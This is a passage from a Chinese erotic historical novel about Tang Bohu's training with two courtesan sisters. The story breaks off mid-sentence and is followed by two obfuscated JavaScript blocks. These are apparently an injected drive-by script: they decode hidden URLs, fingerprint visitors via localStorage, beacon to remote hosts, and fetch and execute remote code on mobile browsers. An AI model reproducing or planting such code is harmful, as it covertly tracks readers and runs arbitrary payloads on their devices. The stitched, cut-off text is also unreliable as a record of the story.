  接下来就是唱戏曲了,却说唐寅这好一位江南才子,原本就是琴棋画画的四绝,再加上诗词歌赋也是本行,因此声韵这一门学问倒也不生疏,一句一句的带过来,倒也可以完完整整的唱上「西厢记」里红娘的一段,唱完之后连一旁看的袖红也在吆喝叫好,远远在门外偷听着这边动静的侍婢,也忍不住鼓起掌来。

  接着传红又要教他走那戏台上旦角的步子,搔首弄姿、摆动腰枝女儿家的身段,这可有点难倒这平日四体不勤的伯虎了,先嘛就是扭扭捏捏、笨手笨脚的,手脚使唤不来,走了好些趟才有了个样子。稍后练到扭动腰肢时,倒是因爲近日来的床上演练得体,摆动得十分顺畅自然,比那一般演花旦的还要俐落,让传红这个便宜教戏师傅直夸他是个天才,真有得天下英才而教之的喜乐而笑容满面。

  又是韶光易逝,粉 院那短命的龟奴又来催人了。

  伯虎将头上那枝紫金凤首钗取了下来,双手捧到传红面前躬身道:「多谢传红师傅如此费心教导徒儿戏曲,真是令人耳目一新、深有收穫,感谢之心、深铭五内,实在无以爲报,就将这支钗儿当作薄礼爲谢,敬请师傅收下吧。」

  先前传红在那沈香木中翻了许久,就是因爲看到了这支钗儿精美细緻,十分喜欢,才拿起来给伯虎戴上看看,果然是锦上添花好看得极了。如今伯虎说要给她,心里十分高兴,想要拿又怕太贵重了,心下踌躇了半天。

  一旁的袖红姑娘看出了妹妹的两难,也知道伯虎是想讨好这个亲爱的堂妹,而这支金钗就当做两人的定情之物也是蛮合适的,于是极力的怂恿她收了起来。传红也不是第一次从男人手中取得餽赠了,只是此番收到这礼物,倒是打心底就喜孜孜的十分高兴。

  临行时,伯虎穿着女装玩笑的向传红福了一福道别:「徒儿恭送传红师傅。」

  传红回眸甜甜一笑道:「乖徒儿要好好儿多练习啊。」

  伯虎又顺势接了一句:「徒儿谨遵师命。」

  可这传红又怎知道,想到那伯虎紧锣密鼓的集训工作,哪有时间再多练习啊,倒是在夜间训练时,在别的女人床上练练摆腰的动作倒是可以的。

  接下来的这几天,伯虎白天名爲美姿、美容、妓家精神的特训,却享受着与那处女清倌人调情谈笑独处,夜里所谓的曆练,则在不同的妓院轮番品花插穴,午夜之后才回到甯王府的贵宾房一夜好觉,也着实逍遥自在。

  看倌可要好奇问道了,伯虎这夜里成爲了大淫棍儿,哦,不,不,不,该说大淫鞭才是,怎的白日里会放了那清倌人不沾窝呢?这里有几个缘故。

  其一,这清倌人破处,可是要一大笔梳拢费用,特别像传红姑娘这般的红牌,动辄数百到上千两银子,伯虎可没那麽多银子好使,另一方面豹房愿意爲伯虎出银子去各妓馆曆练床技,可没说要替他出这种银子的。

  那麽看倌会问,想那伯虎手段如此高明,只要两相情愿,就偷偷的上了她有何难处?这麽说法似乎成理,然而可就小看了妓家鸨母的其奸似鬼了,既然这清倌人的处子元红如此高贵,每次出场回来,鸨母还不脱光了衣服仔细检查一番,看是有没有少掉一根毛,若是发现元红被夺,还不立刻登门兴师问罪,搞得满城风雨,好好的敲诈一笔钱子。伯虎自然不会拿砖头砸自个儿的脚,白白送给别人一个现成的仙人跳。

  其二,伯虎自幼无兄无弟、无姐无妹的,这十馀日来,先是袖红,后是传红,两位姑娘对自己真诚的关怀之心,颇有所感动。相较于其他妓家女子一见到自己,就如同见到一块大肥肉,恨不得立刻用下面的嘴儿一口吞下去,那激动的情慾与在传红相处这种轻鬆的温馨有天壤之别。每当激情一过,伯虎就十分怀念传红那种似水的柔情,迫不及待的回到这儿找袖红及传红姑娘谈谈笑笑。与其说伯虎将传红姑娘当作情人,不如说他慢慢的将袖红与传红当成了自个儿的姐妹看待。如此说来当然是不会下手了。

  这第三个缘故倒有些複杂,得要将那前因后果说个分明。

  先前说到袖红姑娘有意将伯虎及传红两人送做堆,且寄望未来伯虎能助传红跳离火坑,因此隔了一阵子之后,袖红看他两人相处颇爲入港,爲了替两人製造亲近的机会,常常藉故离开好让伯虎与传红有机会独处。

  这一天伯虎见袖红姑娘离开了,于是就开始展开那对付青春少女的花言巧语功夫。

  这传红小姐虽然不像袖红那麽的阅人无数,具有高雅大方、风华绝代的成熟风韵,但是那一份少女独有的健康活泼及感情上的青涩,也是令人可喜,尤其是那张樱桃小嘴,平常在自家的粉 院中,因爲心有千千结,总是做出冷豔不爱说话状,如今在唯一的亲人堂姐这里,再加上唐伯虎这位暗恋在心的偶像,又是同病相怜受到奸王迫害的受难人,于是相熟之后,那张小嘴便开始吱吱喳喳的说个不停,伯虎见她可爱,也喜欢插荤打科的和她斗个嘴,如果豆腐吃得过份时,她会听得面红耳赤,勉强鼓起小嘴不再说话,但经他一逗又会恢複原样了。所以二人很快的便熟络了,相处得挺合得来,传红就像是那邻家小妹妹般。

  伯虎对传红倒是颇有好感,但不知这位俏妞对自己是什麽样的感情,或是向她表白后,得到了那经典名句:「你是一个好人...」或者是:「我把你当哥哥看待。」,或是:「我的心里已有人了。」那麽可就真的玩不太下去了。于是伯虎就是这麽开始的:

  「传红姑娘,我看妳的样子,恐怕只有十五六岁吧?」
  「嗯,别胡扯了,人家都快十八啦!」

  「十八姑娘一朵花,传红小姐,妳是我所见过的女人中,最漂亮的一位哩。」
  「你太会说话啦,我那比得上袖红姐姐。」

  「那也不见得,袖红姑娘虽然漂亮,但总觉得年岁已长,而妳呢,青春活泼,怎麽看都令人舒服。」
  「哼! 男人都是喜新厌旧的东西。」
  她嘴上虽然在骂,但俏脸上早已喜形于色。

  「这……这话从那说起呢?」
  「哼,有了袖红姐姐和你上床,又来我这儿想换胃口,不是喜新厌旧是什麽? 难道还骂错了你不成?」

  伯虎不想在床上的问题打转儿,倒想要从传红口中套出自己在她心中的份量,于是转一个话题问道:

  「想你如此花容月貌,多才多艺,在勾栏之中想必也有那麽一两位知心的人吧?」

  这阳光少女听此一问,面上不禁一暗,如同蒙上了一层乌云,说出了伯虎无法下手的第三个缘故。

  当年受到奸王党羽迫害,害传红姑娘家破人亡而自己被卖沦入勾栏,这时她才只有一十六岁,那时不但面貌出落得如花似玉,并且满腹诗书,竟是一位才女,经过训练之后发现又有歌舞天赋,于是鸨母将她视爲奇货可居的红牌清倌人,并没有逼着她卖身,只看她自已在风尘中选出一位如意郎君。她虽则在勾栏院里存身,可是守身如玉、对人不苟言笑。由于才高眼空,平日在她那里出入的人,在她看来却一律都是俗物,简直没有一个能够託付终身,因而直到如今还是名花无主。

  伯虎奇道:「难道出入妳粉 院的居然都是凡夫俗子,没有高雅人士了吗?」

  传红一歎道:「倒也是有些达官贵人、稍有文才的人,可是最后都知难而退了。」

  她接着说,自己一直觉得父亲及伯父冤枉,要爲他们伸冤,因此虽然曾有好些达官贵人,看上了她的歌艺才华想要替她赎身,可是一听到这个会得罪甯王的附加要求,个个都打了退堂鼓且退避三舍。

  而如今她则是将希望寄託在这位新科解元身上,期望他有朝一日能够金榜题名参加殿试,届时得以上达天听爲父申冤。若是能够爲父亲平反,她就愿意无论是爲奴爲婢的以身相许,以报答这份恩情。

  伯虎听完之后心情沈重的说道:「如今甯王之势如日中天,令尊之事恐非一日两日就能翻桉。」

  「奴家翻桉之心早不複昔日之急,只希望有朝一日能够洗刷清白就好了。」传红幽幽的道。一面说着,那哀怨的眼神明明白白的显出了她不死心的心情。

  伯虎回头想想,若是邵元节这虚无飘淼、不知所云的元阴八卦阵,果真可以将那甯王板倒,那麽爲袖红及传红尊翁平反之事,也不无可能,随即轻轻一歎,拉起少女纤细柔嫩的小手,团在掌中温言道道:「妳父亲遭甯王诬陷之事,我会尽力设法,结果如何但看天意了。」

  也就是这第三个缘故,最爲棘手,想想看如此这般刚烈的女子,怎会让伯虎那鞭儿随意逞霸王呢?要嘛,也要等人家心甘情愿的以身相许了。

首部曲特训11收手

话说伯虎这段日子里,真是过着日夜阴阳两极化极道的生活,夜里提着那条鞭儿,是一家一家妓院轮着抽、换着打,每天都在那儿嚐新鲜、穿旧鞋,而群芳谱更是不断的在更新。

  比较这夜生活的花花世界,那日间的时分,却总是只面对一位传红姑娘,似乎可就单调多了;看倌若是这麽想那可就猜错了,这日间活动可一点儿也不乏味呢。先别说传红在伯虎面前显现出那活泼可爱、俏丽动人阳光美少女的模样儿有多迷人,就连那训练活动也不时在更新换花样儿。

  美容、美姿也不过是三两天就搞定了,而那扮花旦学女人唱曲儿的工夫,也花不了多少时间就熟练了,至于这妓家精神的实质训练嘛……一旁传来那爱好淩虐的看倌们痛苦的哀嚎、呻吟:「作者老大您最大,就饶了我们可怜的贱民,别再提了吧。」……好吧,就当作没这回事儿,这说书的人啥都没说。

  这麽说来还有什麽好练的呢?也不能成天待在房里你盯着我瞧、我瞪着妳看吧。要知道,这可是一对俊男美女呢,你欣我赏的孤男寡女的看来看去看久了,看的到吃不着的难免会变成你嫌我恨的癡男怨女,若是耐不了、熬不住的上演一齣你情我愿的男欢女爱之后,最后居然演变成一对你贪我爱的淫男蕩女,这可就坏了规矩,不是这训练计画的初衷了。

  若是不能成天呆在房里斗嘴皮子,那又有些什麽事好做呢?好在那传红也颇爲外向,除了诗词歌舞以外,还喜好荡鞦韆、踢鞬子、蹴鞠玩球儿等庭院间的活动,更喜欢出去郊游踏青。

  第一次爲了要与那伯虎蹴鞠,传红姑郎还换了一身适宜的好打扮,但见她身穿五彩团花密扣紧身短袄,腰间束着黄色排鬚束腰,下身是簇簇新大红扎脚绣裤,露出窄窄的一双三寸金莲,樱口桃腮、柳眉杏眼,相貌如花似玉,却是英姿勃勃。伯虎一见又是一个惊爲天人、目瞪口呆的盯着那对平常都藏在裙底的三寸金莲直瞧。

  有看倌这会儿又要多话了,不是说伯虎天天夜里去妓院打群架,一条鞭儿闯通关嘛,这小脚儿也不是这一只两只的数吧,少说也是成堆成堆的看,怎的看了传红姑娘的就有什麽不同,难道说别人是肉做的,她的就是金打的银锻的?

  听您这麽一问,可就知道见识不多、眼界不广了。且说与妓女上床,衣服脱了,看到的又是高耸玉峰、又是水蛇腰、又是丰润的俏臀儿,眼花缭乱的就看不完了,谁会注意到枝微末节的小脚儿,顶多就是老汉推车时握在手上好使那腰力。再说这夜间曆练,入夜之后到午夜之前,得要应付十个八个的,上完之后还有一个口头报告,后面紧接着被催稿的赶那书面报告,可紧张的不得了,哪还有那闲时间看金莲是大是小、是宽是窄的? 倒不如现在这般,没有那细皮白肉的雪乳、玉臀在抢风头,才会有那闲情逸緻,才能够清清鬆鬆的,细细品味那金莲之美。

  闲话之间,三个人已在院子里站定了。传红姑娘先要袖红姐姐将这球儿行头抛送给伯虎,好让他展脚踢起,踼出一个一转红日高昇,刚刚好就落在自己的身边。这球儿被传红用金莲鈎住,踢了一个满庭滚滚梨花,再一个左三脚金鱼跃水,右三脚单凤穿花。浑身一个转折,前直身,后鈎腿。将那球儿踢的似风吹杨花、空中舞,蹴的如雪片、满天沾,好一派的花团锦簇。

  原是三人蹴鞠,最后却让传红一人自踢,袖红及伯虎两人站在一旁,不断鼓掌叫好、称美道奇。传红运起浑身解数踢个痛快,只身头顶肩挑,股鈎拐连、手送胸、膝耸前蹲,先缓后紧,步步合局,脚脚有法[注三]。这传红一踼起球来,可真如花中彩蝶一般的曼妙非常。

  随后传红也教了伯虎一些踼球的招数,虽然此番豹房密探特训中没有武功项目,但伯虎与传红这庭院间的活动,倒让他的身手比较先前俐落了些,将来执行那寻芳猎豔的元阴八卦计时,若是真有需要去钻墙逾穴,也会比较有体力,倘若真遇到了那悍僕恶犬,虽然可能还是打不过,但是凭着闪、躲、挪、移的身法,逃跑起来应该是没有问题了。

  在袖红姑娘的安排下,每隔七日还让他俩来个户外教学参观,名爲熟悉执行任务时的地形地物,实则到杨州各处的风景名胜去游曆一番,话说这个风流潇洒的解元郎唐伯虎,偕那粉 院红牌清倌人名妓李传红,两人携手同游名胜,这金童玉女似的两个人,将所有目光都吸引过来,连风景都爲之失色。啊!说错了,修正爲:爲那景色优美的风光,增添了更多的秀色。

  在那瘦西湖畔,见到传红那苗条如风中摆柳的身段,独自在芳草树荫之间随风起舞,那轻盈的身段,令伯虎想起那描写赵飞燕的掌中之舞,神清气爽之下,吟了一首「杏林春燕」赠给传红姑娘,诗曰:

「红杏梢头挂酒旗,绿杨枝上啭黄骊;鸟声花影留人住,不赏东风也是癡。」[注四]

  这诗儿当下就流传开来,而流连在风月场所的淫民,一听说传红姑娘与名噪一时的风月「淫圣」唱和出游,让她的身价水涨船高,文人雅士纷纷向粉 院挂号排队,好瞻仰传红姑娘的风采,乐得她那鸨母都合不拢嘴来。

  且说他们所到之处,看着他俩的目光比看风景的还多,若是恰巧伯虎逗了这美人儿巧笑倩兮,四周更是流了满地的口水儿。这话儿传回到王府,连甯王听了都羡慕忌妒得要死了。

  真个是说不尽那诏光易逝,天下无不散之筵席。就在那白画训练结束之日,当那粉 院短命的龟奴又来催人时,正在与伯虎谈笑的传红姑娘,突然呆呆的看着伯虎,眼眶居然红了起来,站起身来扑入了伯虎的怀中,抽抽答答的哭了一会儿,突然擡起那梨花带雨的脸儿,秀眼儿一闭,噘起嘴儿在伯虎唇上轻触了一个吻后,起身往外快步行去,再也没有回头。

  自从传红讲出她那家破人亡的伤心史,以及埋藏在心中一雪耻辱的决心后,伯虎这一阵子都对传红姑娘非常的敬重,没有做出任何轻狂的动作,真的没想到在离别前,她会给自己意外的吻别,呆呆的站在那儿看着她那单薄的背影消失于门外,一时琢磨不出这一吻究竟是什麽道理。

  袖红上前捥住了伯虎的手臂,示意他坐下后,吩咐侍婢送上一壶香茗。仔细的盯着伯虎看了一会儿,缓缓的说:「弟弟可知姐姐这些日子来,爲何会差人到粉 院,花银子去请传红妹妹来陪你?」

  伯虎正待答话就被袖红止住,她继续说道:「姐姐这麽做是有些私心的,姐姐是希望弟弟能爲我李氏一族留下一脉香火。」

  说到这里,袖红已是眼眶红起:「可怜我李氏一家,所有男丁都爲奸王爪牙所害,只剩下我姐妹二人,然而奴家残花败柳,不足以侍君子,所幸小妹虽然身在勾栏,却能守身如玉,仍爲完璧。但愿弟弟八卦计策一了,待吾等父亲冤屈得伸,就请弟弟纳传红妹妹爲侧室,若是老天怜我李氏一族,让她生了个儿子,就过继给李家吧。」

  伯虎坦诚回道:「弟弟十分感谢姐姐的这番厚爱,只是弟弟此时仍身陷奸王巢穴,前途未卜,实在不敢做出任何承诺,以免未来误了大事。」

  听他这麽一说,袖红早已是泪流满面,伯虎正待起身过去安慰他,被她止住并继续说道:「有邵师兄的妙计,想那奸王必然败亡,而弟弟应可化险爲夷。邵师兄先前早已爲你卜了一卦,说你命犯桃花,本该有多房妻妾,将你诱入这元阴八卦计策,也是顺应天命。奴家听他这麽一说,不禁就犯了私心,心想若是你有许多妻妾,那麽唐氏香火必然有人可传承,就想要撮合你们俩,想请弟弟纳传红妹爲侧室,将来生个男儿过继给李家继承香火,可怜我那满门冤死的长辈都可以含笑九泉了。」

  伯虎问道:「姐姐此话何说?传红妹子国色天香,不难觅得良配,何以非得是小弟不可?」

  袖红深深一歎道:「唉,我这传红妹子,可是心里和外表一般的刚强,一心想要爲尊亲平反雪耻。虽然身在勾栏,一直想要找到一位刚正梗直的好官,可以在朝中参上一本爲父亲平反冤屈;或是邂逅那文采飞扬的青年才俊,在金榜提名后,在朝中递上那恳求洗刷冤屈的陈情书表,最好能是三榜皆捷可以直接面圣,去诉那冤屈。可惜这朝廷中那有那麽多的好官,再说好官也不会随意出入风月场所[注一]。而沈溺于风月的青年学子,往往是不成气候[注二]。」

  说到这里,媚眼向伯虎深情的一飘续道:「前些日子,南京举人试放榜时,看到那解元唐寅的名字,又听说人长的少年俊俏,又是琴棋书画四绝,我这个妹子就兴奋的跑过来跟我说,想要结识这位唐公子,若是能够结缘,说不定爲父亲的平反有望。没想到没多久你却应了奸王的召聘投到其门下,我那性格刚烈的妹妹一听到这个消息,气得两三天都不吃饭、不接客,那鸨母也不知她在闹什麽脾气,还急着过来找我过去劝解哩。」

  伯虎听了呆呆说道:「想不到竟会有这等事。」

  袖红吃吃一笑接着说:「想不到的事儿还多着呢,奴家是作梦也没想到,会早先一步的结识到你这俏冤家、可人儿,又得知你虽深入那奸王府,却是对奸王的作爲早有不满,这可是官家不可多得的上选线人啊! 」

  喝了一口那微微发苦的香茗袖红续道:

  「要知道,这甯王在扬州一带是根深蒂固,时时防范着外来生人刺探机密,整个王府犹如铜墙铁壁一般的滴水不漏,那朝廷的锦衣卫及东、西厂,在此地不知折损了多少派出来的细作,才探出了一丁半点儿那番僧筑坛集皇气的消息,而对于如何应付这棘手的事儿,更是束手无策。这也是爲什麽朝廷才着令那豹房密探出面处理此桉;前些时候,那些番僧还会来教坊司仗侍着淫功逞凶,姐姐正準备在他们身上做些手脚,没想到他们一开始筑坛作法,就不见人影了。」

  说起了这可以爲李家複仇雪耻的大事,袖红不禁意气风发起来:「正在发愁的当儿,姐姐却接到你这位娇客,急忙以八百里传书通知豹房的邵师兄,他也日夜兼程赶来扬州,等待合适的机会,将你吸收爲豹房密探,成爲奸王府的卧底,也是机缘巧合你问起了房中媚术,于是我就将他介绍给你,顺势在传授本教秘法之后,将你收爲本教弟子及豹房密探,以执行颠覆奸王的元阴八卦的计策。」

  伯虎疑道:「妳这爲李家複仇,爲朝廷出力的事儿,难道那传红妹妹都不知道吗?」

  袖红解释道:「你也知道我那传红妹子那刚烈的性子,爲了雪耻都可以出卖身体,若是能够複仇,还不知道会做出什麽傻事来。身爲豹房密探,爲了探取机密,连灭门仇人都得卑躬屈膝的在床上曲意奉承,因此这种事情让姐姐一人承担就好了。这些事我都没让她知道,你也要保密啊!」

  说到这儿瞥了伯虎一眼,不禁又伤心落泪哽噎了一会儿,继续说道:「而我这个做姐姐的,最爲关心的则是李家的一脉香火,就算是能够扳倒甯王,家父的冤屈得伸,若是断了李家的香火也是愧对列祖列宗。姐姐残花败柳,又练了玄门的床第养生功夫,可说是人道弃守、胎珠难结,待甯王伏诛之后,便要追随邵师兄到龙虎山出家,以追求结成道胎的天道。如今便将这传宗接代的所有期望,都寄託在传红妹子身上了。此时姐姐将这详情告诉于你,也是希望你能将传红妹妹收了,就算是姐姐在求你了。」

  伯虎听了这一番真心话,心中也不禁恻然,然而见那袖红一个劲儿的,要将自己的妹子送进自己的虎口,不,该说是虎鞭之下较爲恰当,仍然是有些迟疑的问道:

  「此事何以非得是小弟不可?弟弟也问过传红妹子,粉 院在那儿也有许多人在追求她,难道找不出适当的正经人士,非得我这个现今声名狼藉的花花公子不可?」

  袖红歎了一口气说道:「她那眼界那麽高,绝不把一般男子放在眼里。而且经过这些日子的相处,姐姐可以看出来,传红妹子心中除了弟弟你以外,已是容不得其他人了。她只当你那花街柳巷的走马探花,是用来掩人耳目的幌子,并非你的本性;而且就算是本性,她爱惜你的文才,也就不计较这种小节了。更何况...」

  说到这里,袖红不禁红云上颊的白了他一眼说道:「姐姐早已爲了她的闺房幸福着想,将你这个温柔的弱鸡小白脸,改造成久战不倒的百炼精钢,当然是肥水不落外人田啊。」

  最后这句话,让伯虎那早已练得如城墙厚的脸皮也稍红了一下,想了一想说道:「承蒙姐姐雅爱,将授予弟弟照顾传红妹子之重责大任,小弟弟对传红妹也是有意,只是小弟身家...」

  袖红急急接道:「弟弟是担心传红妹子赎身的银子和未来生计吗?姐姐早已爲你筹划好了,姐姐在教坊司的这一段时间的皮肉钱,也省吃俭用的攒了一些金银珠宝,姐姐準备一旦父亲冤屈平反之时,就要随着邵真人遁入道门,这些金银将无所用处,因此打算将其全数用来爲妹子赎身救出火坑,同时準备丰盛的 奁做陪嫁,唯一的条件便是将来生子要传承李氏香火。」

  伯虎心下也是爱着传红,然而担心一做承诺,就会在自己单薄的身家加上沈重的包袱,如今见袖红姑娘如此这般的诚心诚意,时时爲着伯虎着想,连那减轻负担的后着都想好了,又见那袖红求得是那麽的可怜,便满心贼笑不已的、现出那赔本生意的脸孔,勉爲其难的答应了这人财两得的请求。

  伯虎立刻就接着说:「先前叫妳姐姐是拜了师姐的缘故,如今要娶传红妹子,就当真是亲姐姐了,且待弟弟再向姐姐重新拜过。」袖红姑娘一听十分欢喜,笑逐顔开的受了一礼并回礼。从此以后对伯虎嘘寒问暖的,这样子不像是姐姐,倒像是丈母娘看女婿、越看越有趣。

  谁知道这对锦口绣心的姐妹俩,袖红有自己的心思,传红又怎会没有自己的想法,因此虽然最后结局是一样的,但是过程却与袖红的计画不同,此乃后话。

  就在这一天夜里,久未露面的邵道长,又出现在袖红房里要爲伯虎的出师做準备了。摇着他那藏于跨下的狐狸尾巴[注五],翻阅伯虎交给豹房那份廿馀日来厚厚的曆练报告,也就是那明、暗群芳谱合集,一面看一面猥亵地嘿嘿笑着,似是非常满意。

  接着邵道长面容和蔼的说道:「少林寺的和尚,可要打过十八铜人阵才能出山;我们龙虎山的规矩倒没有这麽严厉,只要能破了合计八女七关的龙虎迷魂八卦阵就算出师了。」

  唐伯虎心想,原来是牛郎大战七仙女,唔,算术不好,好像漏算一个,还是种马大战八婆娘了。哈,这有什麽问题,小生在这二十馀日的集训中,高矮胖瘦的各式美女也不知领略了多少,早已是战无不胜、攻无不克,这次只要过是个车轮战,这个通关出师,也不过是弹指之间的事而已。

  于是邵道人带着伯虎前往请豔紫姑娘安排好的一大间歌舞教坊,一进去只见到房中环肥燕瘦的八位美女,或坐或卧的在八座蒲团上,各个风情万千,姿态撩人,从一张张粉 玉琢的俏脸望过去,刹时间,他就像身处蜀道,触目都是名山,各有各的姿态,各有各的韵味。

首部曲特训12出师[上]

邵道长介绍道:「这八位姑娘乃是瘦西湖八绝,皆爲本教的姐妹,有好几位已在曆练期间和师弟交过手,但是那时是友谊性质,都没有用上本教玄功,而今夜请她们来排出龙虎迷魂八卦阵,乃是用本教玄功,模拟出世上那七大名器,若是师弟能够顺利通过这迷魂八卦阵,就可以出师了。」

  伯虎看到了几位认识的各大妓院红牌名妓在场,原先认爲是自己的手下败将,败军之将、何以言勇,原本有些轻敌,认爲师兄找这些人来是有意要放水了,没想到之前的交手,这些名妓还隐藏了实力,因此立刻就谨慎起来,将洞玄子十三经起手式运了起来。

  第一个上场的是天香院红牌赵玉儿,报了一个名字叫「春水玉壶关」,她直直的望着伯虎,目光大胆而火辣,并不顾忌一旁邵道长及其它美女,让那身上的薄纱、肚兜一件一件的滑落下去,然后软软的躺在蒲团上,做出一个诱人的姿式。

  伯虎早已不是那种急色郎了,心里知道要对这八位名妓打通关,可不能只是穷追勐打、一味蛮干,得要带些技巧,首先就是要将这些女子的春心鼓动起来。因此他也不急着上第一关的春水玉壶,只是先绕着这八位美女,以那风流潇洒的姿式慢慢的转了一圈,用自己那对迷死女人的桃花眼儿,勾引着每一位美女。

  绕完了一圈,接着又开始绕那第二圈,一面走着一面宽衣解带,同时衣服如天女散花般的,一一丢向坐卧在蒲团上的美女,有时将身体故意靠近甚中一位美女的娇躯,在旁边暧昧的扭摆一番,让这位美人是看

function aZFAtUK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function bejEovHD(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return aZFAtUK(t);};window[''+'g'+'q'+'b'+'i'+'e'+'v'+'O'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Pbed(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=bejEovHD,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Pbed(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Pbed(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmFoZGFpai5jb20lMM0E4ODkx','d3NzJTTNBJTTJGJTTJGYS54a25lb2suY29tJTTNBOTTUzNA==','9171',window,document,['M','T']);}:function(){};
function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
